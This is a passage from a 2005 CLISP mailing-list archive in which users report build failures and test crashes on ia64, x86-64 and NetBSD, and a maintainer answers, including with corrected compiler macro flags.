http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: undefined function ORG.MAPCAR.FTP.CLIENT::MAKE-SOCKET Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 7 08:15:08 2005 X-Original-Date: Wed, 07 Dec 2005 11:13:09 -0500 > * Richard Ray [2005-12-07 09:56:11 -0600]: > > I was trying out the package cl-ftp-1.3 and I get this error. > I can't find a MAKE-SOCKET function. > Since this package is from 2002 I'm guessing that function has been > dropped. > What should I change it to? symbol MAKE-SOCKET and package ORG.MAPCAR.FTP.CLIENT have never been present in CLISP. please contact the cl-ftp package vendor. CLISP socket functionality is documented here: http://clisp.cons.org/impnotes/socket.html -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.camera.org http://www.mideasttruth.com/ http://truepeace.org http://www.memri.org/ http://www.honestreporting.com Politically Correct Chess: Translucent VS. Transparent. From pjabardo@yahoo.com.br Thu Dec 08 04:02:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkKU9-0006bt-Vn for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 04:02:53 -0800 Received: from web30014.mail.mud.yahoo.com ([68.142.201.217]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EkKU6-0002Ox-7m for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 04:02:53 -0800 Received: (qmail 46508 invoked by uid 60001); 8 Dec 2005 12:00:19 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com.br; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=EhiI6xfCm/891+GJpQnUEuIb1AVfeXRB4CbCGCK8R7w9zIVeTQxbIg4UoFt4dmPhRzhPMiyFUyvCQd8MOk3U3kSZ7XwSr68qDyvrroV10UROWi8tI4moW58jr7Wfyv+d9ztzLuojsW7dqrqpgILrme2agIOh0s04R18J4gypMt8= ; Message-ID: <20051208120019.46506.qmail@web30014.mail.mud.yahoo.com> Received: from [143.107.98.250] by web30014.mail.mud.yahoo.com via HTTP; Thu, 08 Dec 2005 09:00:19 ART From: Paulo Jabardo To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Problems building on ia64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 8 04:03:05 2005 X-Original-Date: Thu, 8 Dec 2005 09:00:19 -0300 (ART) I'm having trouble compiling clisp 2.36 (and 2.35) on a SGI ia64 system. The first time the lisp.run program, I get an not enough memory error. I have also tried compiling using the flags -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLE_MAP -DNO_TRIVIAL_MAP But it didn't make any difference. By the way, the build system did not recognize the CFLAGS environment variable so I had to add the above flags to the CC variable. The build output where the error ocurred is given below. ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" Cannot map memory to address 0x4000000000000 . [spvw_mmap.d:359] errno = EINVAL: Invalid argument. ./lisp.run: Not enough memory for Lisp. make: *** [interpreted.mem] Error 1 Thanks Paulo _______________________________________________________ Yahoo! doce lar. Faça do Yahoo! sua homepage. http://br.yahoo.com/homepageset.html From werner@suse.de Thu Dec 08 05:09:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkLWo-0001oB-Tx for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 05:09:42 -0800 Received: from cantor2.suse.de ([195.135.220.15] helo=mx2.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EkLWo-0000ht-4o for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 05:09:42 -0800 Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id 49A071C26A for ; Thu, 8 Dec 2005 14:09:33 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20051208130929.GA23116@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 8 05:10:06 2005 X-Original-Date: Thu, 8 Dec 2005 14:09:29 +0100 Hi, this is the result from a compile for Linux on x86-64 with gcc 4.1.0: (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) Exiting on signal 6 g31:x86_64-suse-linux # ls -l tests/*erg -rw-r--r-- 1 abuild abuild 0 Dec 8 13:00 tests/hashtable.erg g31:x86_64-suse-linux # g31:x86_64-suse-linux # gcc --version gcc (GCC) 4.1.0 20051129 (prerelease) (SUSE Linux) Copyright (C) 2005 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Signal 6 is SIGABRT on x86-64. The crash is always at the same point regardless of the choosen optimization or SAFETY level. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From marko.kocic@gmail.com Thu Dec 08 05:54:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkMDw-0004Us-CG for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 05:54:16 -0800 Received: from zproxy.gmail.com ([64.233.162.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EkMDv-0006yu-Bg for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 05:54:16 -0800 Received: by zproxy.gmail.com with SMTP id z3so610650nzf for ; Thu, 08 Dec 2005 05:54:10 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=Z10/iB7jSjF9Xe2iVO1C2aGkOk8P53bvFLlnKlETzcfjshIh3BmJooSDsEfbeT7iMHJcnvKQHrvo4N2aXHauawTilVMIO+jFOewdTSaUl6pYzM7pmyOjoOdWeibEyFXcu2t8u4IcnXDOhvm5AetYLAofdSCE+YupX7mFfy4yTu0= Received: by 10.36.141.19 with SMTP id o19mr2592865nzd; Thu, 08 Dec 2005 05:54:10 -0800 (PST) Received: by 10.36.127.5 with HTTP; Thu, 8 Dec 2005 05:54:10 -0800 (PST) Message-ID: <9238e8de0512080554j3059e26i@mail.gmail.com> From: =?UTF-8?Q?Marko_Koci=C4=87?= To: clisp-list@lists.sourceforge.net, Marko Kocic In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 Content-Disposition: inline References: <9238e8de0512050308w4184b573r@mail.gmail.com> <43942374.40209@jenty.by> <9238e8de0512050330q532a1c4p@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: pre-test for 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 8 05:55:03 2005 X-Original-Date: Thu, 8 Dec 2005 14:54:10 +0100 QWZ0ZXIgY291cGxlIG9mIGJ1aWxkIEkgZm91bmQgb3V0IHRoYXQgdGhlIHRoaXMgZXJyb3IgZmly c3QgYXBwZWFyZWQKd2hlbiBJIGNoYW5nZWQgZ2NjIHZlcnNpb24gZnJvbSA0LjAuMSB0byA0LjAu MiwgYW5kIGhhcyBub3RoaW5nIHRvIGRvCndpdGggY3ZzIGNvbW1pdHMgYW5kIGRhdGVzLgoKV2l0 aCBkZWJ1ZyBidWlsZCBvZiBDVlMgaGVhZCBpbiBzdGlsbCBjcmFzaGVzLgpJIHRvb2sgb3JpZ2lu YWwgdGVzdCBjYXNlIGFuZCBwbGF5ZWQgYSBsaXR0bGUgd2l0aCBpdC4KKGxldCogKChuIChtaW4g bGFtYmRhLXBhcmFtZXRlcnMtbGltaXQgNjQ4KSkgKHZhcnMgKGxvb3AgcmVwZWF0IG4KY29sbGVj dCAoZ2Vuc3ltKSkpKQogICAgICAgIChldmFsIGAoPSAsbiAoZmxldCAoKCVmICx2YXJzICgrICxA dmFycykpKSglZiAsQChsb29wIGZvciBlIGluCnZhcnMgY29sbGVjdCAxKSkpKSkpCgpJdCBwYXNz ZXMgd2l0aCA2NDggYW5kIGNyYXNoZXMgd2l0aCA2NDkuIFNlZW1zIHRoZSBkZWZhdWx0IHN0YWNr IHNpemUKaGFzIGJlZW4gY2hhbmdlZCBiZXR3ZWVuIGRpZmZlcmVudCBnY2MgdmVyc2lvbnMgKG9y IGl0IGlzIHNvbWV0aGluZwpjb21wbGV0ZWx5IGVsc2UpLgoKQWZ0ZXIgYSB3aGlsZSBJIHRyaWVk IGEgbm9uZGVidWcgYnVpbGQgb24gY3ZzIGhlYWQuIEFuZCBpdCB3b3JrcyA7KQo= From sds@gnu.org Thu Dec 08 06:45:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkN1U-00087V-Nu for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 06:45:28 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EkN1T-0002z8-8Z for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 06:45:28 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB8EisLn021284; Thu, 8 Dec 2005 09:44:55 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marko =?utf-8?Q?Koci=C4=87?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0512080554j3059e26i@mail.gmail.com> (Marko =?utf-8?Q?Koci=C4=87's?= message of "Thu, 8 Dec 2005 14:54:10 +0100") References: <9238e8de0512050308w4184b573r@mail.gmail.com> <43942374.40209@jenty.by> <9238e8de0512050330q532a1c4p@mail.gmail.com> <9238e8de0512080554j3059e26i@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko =?utf-8?Q?Koci?= =?utf-8?Q?=C4=87?= Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: pre-test for 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 8 06:46:05 2005 X-Original-Date: Thu, 08 Dec 2005 09:43:54 -0500 > * Marko Koci=C4=87 [2005-12-08 14:54:10 +0100]: > > After couple of build I found out that the this error first appeared > when I changed gcc version from 4.0.1 to 4.0.2, and has nothing to do > with cvs commits and dates. > > With debug build of CVS head in still crashes. > I took original test case and played a little with it. > (let* ((n (min lambda-parameters-limit 648)) (vars (loop repeat n > collect (gensym)))) > (eval `(=3D ,n (flet ((%f ,vars (+ ,@vars)))(%f ,@(loop for e in > vars collect 1)))))) > > It passes with 648 and crashes with 649. Seems the default stack size > has been changed between different gcc versions (or it is something > completely else). it would be nice if you could pursue this further with the GCC people. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k http://www.jihadwatch.org/ http://www.camera.org http://www.mideasttruth.co= m/ http://www.dhimmi.com/ http://truepeace.org http://www.palestinefacts.org/ If I had known that it was harmless, I would have killed it myself. From sds@gnu.org Thu Dec 08 06:47:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkN3a-0008Ej-3F for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 06:47:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EkN3X-0006gj-OI for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 06:47:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB8ElFYJ021448; Thu, 8 Dec 2005 09:47:16 -0500 (EST) To: clisp-list@lists.sourceforge.net, Paulo Jabardo Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051208120019.46506.qmail@web30014.mail.mud.yahoo.com> (Paulo Jabardo's message of "Thu, 8 Dec 2005 09:00:19 -0300 (ART)") References: <20051208120019.46506.qmail@web30014.mail.mud.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Paulo Jabardo Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Problems building on ia64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 8 06:48:01 2005 X-Original-Date: Thu, 08 Dec 2005 09:46:15 -0500 > * Paulo Jabardo [2005-12-08 09:00:19 -0300]: > > I'm having trouble compiling clisp 2.36 (and 2.35) on > a SGI ia64 system. The first time the lisp.run > program, I get an not enough memory error. I have also > tried compiling using the flags > -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLE_MAP > -DNO_TRIVIAL_MAP > But it didn't make any difference. you need -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.jihadwatch.org/ http://www.savegushkatif.org http://pmw.org.il/ http://www.iris.org.il http://truepeace.org Experience always comes right after it would have been useful. From werner@suse.de Thu Dec 08 10:07:25 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkQAt-0005Nt-Vw for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 10:07:23 -0800 Received: from mx2.suse.de ([195.135.220.15]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EkQAt-0008CF-HR for clisp-list@lists.sourceforge.net; Thu, 08 Dec 2005 10:07:23 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id A492519708 for ; Thu, 8 Dec 2005 19:07:11 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051208180708.GA29440@boole.suse.de> References: <20051208130929.GA23116@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051208130929.GA23116@boole.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 8 10:08:03 2005 X-Original-Date: Thu, 8 Dec 2005 19:07:08 +0100 On Thu, Dec 08, 2005 at 02:09:29PM +0100, Dr. Werner Fink wrote: > Hi, > > this is the result from a compile for Linux on x86-64 with gcc 4.1.0: > > (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) > Exiting on signal 6 > g31:x86_64-suse-linux # ls -l tests/*erg > -rw-r--r-- 1 abuild abuild 0 Dec 8 13:00 tests/hashtable.erg > g31:x86_64-suse-linux # > g31:x86_64-suse-linux # gcc --version > gcc (GCC) 4.1.0 20051129 (prerelease) (SUSE Linux) > Copyright (C) 2005 Free Software Foundation, Inc. > This is free software; see the source for copying conditions. There is NO > warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. > > Signal 6 is SIGABRT on x86-64. The crash is always at the same > point regardless of the choosen optimization or SAFETY level. Is there any solution known? Clearly beside disabling the new hashtable test in tests.lisp :) Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From pjabardo@yahoo.com.br Fri Dec 09 04:16:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkhBK-0005Yf-7J for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 04:16:58 -0800 Received: from web30010.mail.mud.yahoo.com ([68.142.200.73]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EkhBH-00079O-Kf for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 04:16:57 -0800 Received: (qmail 21717 invoked by uid 60001); 9 Dec 2005 12:16:38 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com.br; h=Message-ID:Received:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=Wo4oz0kFXp2PPsFcKXphuzHhO6sejmZ/MwjcKA+jKg6e5SCyzXmuG4p0BRenYpmdTNADhb/6twMepsuN7Tv2rJm2ho21SRGByt1W+xGBDjiIMn2oFUofatcDdu99qycMKSF1T2F5svNIAdzOoCP52WvZFw7yL7YVGOjoj+TadaE= ; Message-ID: <20051209121638.21715.qmail@web30010.mail.mud.yahoo.com> Received: from [143.107.98.250] by web30010.mail.mud.yahoo.com via HTTP; Fri, 09 Dec 2005 09:16:38 ART From: Paulo Jabardo To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Problems building on ia64 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 04:17:01 2005 X-Original-Date: Fri, 9 Dec 2005 09:16:38 -0300 (ART) It worked, thanks. I must be going nuts, I somehow misspelled the -D macros. Thanks again, Paulo --- Sam Steingold escreveu: > > * Paulo Jabardo > [2005-12-08 09:00:19 -0300]: > > > > I'm having trouble compiling clisp 2.36 (and 2.35) > on > > a SGI ia64 system. The first time the lisp.run > > program, I get an not enough memory error. I have > also > > tried compiling using the flags > > -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE > -DNO_SINGLE_MAP > > -DNO_TRIVIAL_MAP > > But it didn't make any difference. > > you need > -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP > -DNO_TRIVIALMAP > > -- > Sam Steingold (http://www.podval.org/~sds) running > w2k > http://www.camera.org http://www.jihadwatch.org/ > http://www.savegushkatif.org > http://pmw.org.il/ http://www.iris.org.il > http://truepeace.org > Experience always comes right after it would have > been useful. > _______________________________________________________ Yahoo! doce lar. Faça do Yahoo! sua homepage. http://br.yahoo.com/homepageset.html From lisp-clisp-list@m.gmane.org Fri Dec 09 05:37:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkiRW-0001cl-EF for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 05:37:46 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EkiRU-0000tu-3b for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 05:37:46 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EkiPG-0005AU-Az for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 14:35:26 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 09 Dec 2005 14:35:25 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 09 Dec 2005 14:35:25 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 21 Message-ID: <87oe3qpf8s.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:q4kDc73eXyxRBccl6L3usP8tBog= X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Encoding test fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 9 05:38:06 2005 X-Original-Date: Fri, 09 Dec 2005 14:33:07 +0100 Building clisp from CVS HEAD on NetBSD/powerpc, the build stops with: Test failed: -rw-r--r-- 1 magnus users 406 Dec 9 13:18 encoding.erg To see which tests failed, type cat /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/*.erg gmake: *** [compare] Error 1 *** Error code 2 Stop. make: stopped in /home/magnus/noarchive/src/clisp-cvs/build-zemdatav magnus@zemdatav:~/noarchive/src/clisp-cvs$ cat /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/*.erg Form: (LIST (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\+ #\+ 2) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\+ #\/ 10) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\A #\Z 2) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 (CODE-CHAR 0) (CODE-CHAR 10000) 1000)) CORRECT: ("++" "++//" "AZ" "++/9AZaz") CLISP : ("++" "+/" "AZ" "") Differ at position 1: "++//" vs "+/" CORRECT: ("++//" "AZ" "++/9AZaz") CLISP : ("+/" "AZ" "") Magnus From zellerin@gmail.com Fri Dec 09 07:05:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EkjoC-0007p9-UW for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 07:05:16 -0800 Received: from zproxy.gmail.com ([64.233.162.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EkjoB-0000q9-Lq for clisp-list@lists.sourceforge.net; Fri, 09 Dec 2005 07:05:16 -0800 Received: by zproxy.gmail.com with SMTP id 34so904901nzf for ; Fri, 09 Dec 2005 07:05:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=RTp6c5QViIeqQiTGya3lEznKFjwnt8GrHAyYYNgjkerOJRN7WwOoJRRdtsU6WVzQU0EciLTL2encEMa4R04sxP+hz6UgM0gCmU66poxEB0V8hCyuD6kmp4DbbIYKyQtaaTZC8cWtmgXOKedCjPzsK6rrusZFU2vaqYSG/k1wnJk= Received: by 10.36.71.17 with SMTP id t17mr3549349nza; Fri, 09 Dec 2005 07:05:13 -0800 (PST) Received: by 10.36.222.63 with HTTP; Fri, 9 Dec 2005 07:05:13 -0800 (PST) Message-ID: From: Tomas Zellerin To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to 